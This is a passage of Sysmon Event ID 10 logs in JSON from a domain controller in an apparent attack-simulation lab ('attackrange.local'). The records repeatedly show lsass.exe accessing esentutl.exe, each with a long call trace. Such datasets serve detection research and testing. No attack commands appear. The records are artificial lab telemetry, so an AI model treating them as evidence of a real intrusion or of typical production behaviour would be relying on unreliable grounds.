C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5473,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5474,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5475,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5476,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5477,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5478,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5479,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 